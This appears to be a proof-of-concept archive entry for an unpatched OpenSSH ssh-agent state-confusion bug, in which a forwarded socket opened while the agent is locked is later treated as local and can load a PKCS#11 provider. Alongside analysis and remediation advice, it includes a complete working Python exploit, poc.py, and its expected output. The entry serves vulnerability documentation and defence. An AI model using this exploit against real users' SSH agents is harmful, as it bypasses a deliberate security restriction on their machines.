PoC Archive PoC Archive
High unpatched

OpenSSH Forwarded-Agent Lock/Unlock State Confusion → Unauthorized PKCS#11 Provider Load (No CVE)

by bikini (exploitarium) · 2026-07-12

Severity
High
Category
network
Affected product
OpenSSH portable — ssh, sshd, ssh-agent
Affected versions
Portable tags V_9_3_P2 through V_10_4_P1 (provider restriction logic present since 9.3p2; failed-session-bind tracking added in 9.6p1, still reachable behind the locked gate through 10.4p1)
Disclosed
2026-07-12
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-12
Last Updated2026-07-12
Author / Researcherbikini (exploitarium)
CVE / AdvisoryN/A
Categorynetwork
SeverityHigh
CVSS ScoreN/A (no official score published) — local-state-confusion bug reachable only through an established, agent-forwarded SSH session
StatusPoC — reproducible against a signed, checksum/signature-verified stock OpenSSH 10.4p1 build; no weaponized payload beyond starting an allowed PKCS#11 provider
Tagsopenssh, ssh-agent, agent-forwarding, pkcs11, race-condition, state-confusion, no-cve, local-provider-abuse
RelatedN/A

Affected Target

FieldValue
Software / SystemOpenSSH portable — ssh, sshd, ssh-agent
Versions AffectedPortable tags V_9_3_P2 through V_10_4_P1 (provider restriction logic present since 9.3p2; failed-session-bind tracking added in 9.6p1, still reachable behind the locked gate through 10.4p1)
Language / PlatformC, Linux (tested on Ubuntu 24.04.4 LTS x86-64 under WSL2)
Authentication RequiredYes — the attacker must be (or control) the remote SSH server/session the victim connects to with agent forwarding enabled
Network Access RequiredYes — requires an active ssh -A (agent-forwarded) connection between victim client and the attacker-influenced remote side

Summary

OpenSSH’s ssh-agent supports being locked with a password, during which it is supposed to refuse essentially all requests — including the session-bind@openssh.com extension that a forwarded agent connection uses to record which remote session it belongs to. The bug is a state-tracking gap: when the agent is locked, extension requests (including session-bind) are rejected at a global locked-check before the agent ever records that the bind was attempted or failed. The SSH client, meanwhile, still creates the forwarded agent channel even though the bind was refused. Once the agent is later unlocked through a separate, legitimate local connection, the persistent forwarded socket has no record of ever having attempted (and failed) a session bind — so the classification function socket_is_remote() incorrectly treats it as a local connection. A request on that forwarded socket to add a PKCS#11 provider (SSH_AGENTC_ADD_SMARTCARD_KEY) is then processed as if it came from a trusted local caller, bypassing the remote-provider restriction that OpenSSH added specifically to stop forwarded/remote agent connections from loading arbitrary PKCS#11 modules.


Vulnerability Details

Root Cause

The flaw spans OpenSSH’s client and agent:

  1. clientloop.c’s client_request_agent() creates a forwarded agent channel even when ssh_agent_bind_hostkey() reports the session bind was refused.
  2. ssh-agent.c’s process_message() applies a global “locked” check before its main request dispatcher — while locked, every extension request (including session-bind@openssh.com) is discarded before process_extension() can even parse which extension it was.
  3. Because the bind request never reaches process_ext_session_bind(), the session_bind_attempted marker is never set for that forwarded socket.
  4. After a separate, legitimate local connection unlocks the agent, socket_is_remote() finds neither a recorded session identifier nor a failed-bind marker on the forwarded socket, so it (incorrectly) classifies it as local.
  5. process_add_smartcard_key() — which is supposed to reject provider-add requests from remote/forwarded sockets — evaluates its remote-socket check as false and forwards the request to pkcs11_add_provider(), which starts ssh-pkcs11-helper and loads the specified PKCS#11 module.

The same flawed classification is also consulted by the external-security-key provider path (process_add_identity()), not just the smartcard path.

Attack Vector

  1. Victim connects with ssh -A (agent forwarding) to a server the attacker controls or has compromised, while their local ssh-agent happens to be locked.
  2. The malicious/compromised server side (or a process on it) holds the forwarded SSH_AUTH_SOCK connection open. The locked agent refuses the session-bind@openssh.com extension, but the SSH client still creates the forwarded agent channel regardless.
  3. At some later point the victim unlocks their local agent through an unrelated, legitimate local action.
  4. The attacker-influenced remote side sends SSH_AGENTC_ADD_SMARTCARD_KEY over the still-open forwarded socket, specifying a PKCS#11 module path that’s on the local provider allowlist.
  5. Because the forwarded socket was never marked as having attempted (and failed) a session bind, the agent treats the request as local and initializes the specified provider — something that should be restricted to genuinely local callers.

Impact

A remote party the victim connects to with agent forwarding enabled can cause the victim’s local ssh-agent to load and initialize a PKCS#11 provider module of the attacker’s choosing (constrained to whatever’s on the local provider allowlist) without the provider-restriction check that OpenSSH specifically added to prevent forwarded/remote connections from doing this. Depending on what provider modules are permitted/present on the victim’s system, this could be leveraged to interact with security tokens or trigger provider-specific behavior the victim did not intend to expose to a remote party.


Environment / Lab Setup

Target:      Stock, unmodified OpenSSH portable 10.4p1 (release archive checksum
             and GPG signature verified against the official OpenSSH release key
             7168 B983 815A 5EEF 59A4 ADFD 2A3F 414E 7360 60BA)
Platform:    Ubuntu 24.04.4 LTS x86-64 (tested under WSL2), OpenSSL 3.0.13
Attacker:    Python 3, standard library only (raw ssh-agent protocol socket I/O)
Tools:       A stock OpenSSH install (ssh, sshd, ssh-agent, ssh-keygen) under one
             prefix; a PKCS#11 module on the agent's provider allowlist
             (p11-kit-trust.so used in the original replay)

Setup Steps

1
OPENSSH_PREFIX=/opt/openssh-10.4p1 bash run.sh

Proof of Concept

See poc.py, run.sh, and evidence/stock-openssh-10.4p1.txt in this folder — mirrored from bikini/exploitarium. Verified before ingestion: poc.py is pure Python standard library implementing the raw ssh-agent wire protocol (length-prefixed request/response, agent lock/unlock, SSH_AGENTC_ADD_SMARTCARD_KEY) — no obfuscation, no unrelated network calls. run.sh builds an entirely local, loopback-only lab (temporary Ed25519 keys, isolated sshd/ssh-agent instances, no external targets) and its cleanup trap removes all spawned processes and temp files. The included evidence file’s runner output and diagnostic log excerpts match the README’s documented reproduction exactly.

Step-by-Step Reproduction

run.sh automates the full sequence:

  1. Generate temporary Ed25519 host and client keys.
  2. Start an isolated ssh-agent on a private Unix socket.
  3. Start a loopback-only sshd with public-key auth and agent forwarding enabled.
  4. Lock the agent (poc.py control lock).
  5. Connect with ssh -A and run poc.py probe as the “remote” process, holding the forwarded agent socket open.
  6. Unlock the agent through a separate local connection (poc.py control unlock).
  7. Send SSH_AGENTC_ADD_SMARTCARD_KEY over the still-open forwarded socket.
  8. Verify via client/agent debug logs that the bind was refused while locked, the forwarded channel was still created, and the provider was nonetheless loaded and initialized post-unlock.

Exploit Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
LOCK = 22
UNLOCK = 23
ADD_SMARTCARD_KEY = 20

def request(sock, body):
    sock.sendall(struct.pack(">I", len(body)) + body)
    length = struct.unpack(">I", recv_exact(sock, 4))[0]
    return recv_exact(sock, length)

def probe(args):
    with connect(os.environ["SSH_AUTH_SOCK"]) as sock:
        time.sleep(args.hold)
        body = bytes([ADD_SMARTCARD_KEY]) + ssh_string(args.provider.encode()) + ssh_string(b"")
        reply = request(sock, body)

Expected Output

lock_reply_type=6
unlock_reply_type=6
forwarded_socket_connected=true
provider_reply_type=5
target=OpenSSH_10.4p1, OpenSSL 3.0.13 30 Jan 2024
session_bind_refused_while_locked=true
forwarded_channel_opened=true
provider_helper_started=true
provider_initialized=true
reproduced=true

Detection & Indicators of Compromise


Remediation

ActionDetail
PatchNone available at time of ingestion — no CVE or vendor advisory found for this specific finding.
WorkaroundAvoid combining ssh -A (agent forwarding) with an unlocked-after-use workflow when connecting to untrusted or lower-trust hosts; consider ssh -a (no forwarding) or per-host ForwardAgent no for hosts that don’t need it. Restrict the PKCS#11/security-key provider allowlist to the minimum necessary.
Repair direction (per researcher)Process session-bind@openssh.com while the agent is locked so per-socket security state is recorded before any later unlock, rather than discarding the extension request entirely at the locked gate.

References


Notes

Surfaced by checking bikini/exploitarium directly at the user’s request for newest entries not yet in this archive — the rest of that repository’s contents (37 of 39 research folders) were already covered by an earlier 2026-07-03 ingestion sweep from the same source. This was the newer of the two genuinely new entries found (both dated 2026-07-11); the other, a Firefox 152.0.5 drive-by remote-code-execution chain, was deliberately not ingested — see the companion decision recorded in this session: unlike this OpenSSH finding (which requires an already-established, agent-forwarded connection to an attacker-influenced host) and unlike every other no-CVE entry already in this archive (which had defined vendor-disclosure timelines before publication), that Firefox chain is a fully working, unpatched, single-URL-visit RCE against current stock Firefox with no evidence of vendor coordination — archiving it would mean amplifying a live weapon against currently-unpatched users rather than documenting research about a resolved issue.

No CVE has been assigned to this finding as of ingestion. The repository’s own README states research is published without prior vendor notification (“At the time I post these, none have been reported”), which is a real disclosure-ethics concern worth being aware of for this source generally — but this specific finding’s narrower exploitability (requires an existing agent-forwarded SSH session to an attacker-influenced host, not a passive/drive-by vector) keeps it in line with the archive’s existing risk bar, unlike the Firefox chain.

poc.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import argparse
import os
import socket
import struct
import time


LOCK = 22
UNLOCK = 23
ADD_SMARTCARD_KEY = 20
SUCCESS = b"\x06"


def ssh_string(value):
    return struct.pack(">I", len(value)) + value


def recv_exact(sock, length):
    chunks = []
    remaining = length
    while remaining:
        chunk = sock.recv(remaining)
        if not chunk:
            raise RuntimeError("agent closed the connection")
        chunks.append(chunk)
        remaining -= len(chunk)
    return b"".join(chunks)


def request(sock, body):
    sock.sendall(struct.pack(">I", len(body)) + body)
    length = struct.unpack(">I", recv_exact(sock, 4))[0]
    return recv_exact(sock, length)


def connect(path):
    sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    sock.connect(path)
    return sock


def control(args):
    request_type = LOCK if args.action == "lock" else UNLOCK
    body = bytes([request_type]) + ssh_string(args.password.encode())
    with connect(args.socket) as sock:
        reply = request(sock, body)
    value = reply[0] if reply else -1
    print(f"{args.action}_reply_type={value}", flush=True)
    return 0 if reply == SUCCESS else 1


def probe(args):
    with connect(os.environ["SSH_AUTH_SOCK"]) as sock:
        print("forwarded_socket_connected=true", flush=True)
        time.sleep(args.hold)
        body = bytes([ADD_SMARTCARD_KEY])
        body += ssh_string(args.provider.encode())
        body += ssh_string(b"")
        reply = request(sock, body)
    value = reply[0] if reply else -1
    print(f"provider_reply_type={value}", flush=True)
    return 0


def main():
    parser = argparse.ArgumentParser()
    commands = parser.add_subparsers(dest="command", required=True)

    control_parser = commands.add_parser("control")
    control_parser.add_argument("action", choices=("lock", "unlock"))
    control_parser.add_argument("--socket", required=True)
    control_parser.add_argument("--password", default="agent-lock-proof")
    control_parser.set_defaults(handler=control)

    probe_parser = commands.add_parser("probe")
    probe_parser.add_argument("--provider", required=True)
    probe_parser.add_argument("--hold", type=float, default=3.0)
    probe_parser.set_defaults(handler=probe)

    args = parser.parse_args()
    return args.handler(args)


if __name__ == "__main__":
    raise SystemExit(main())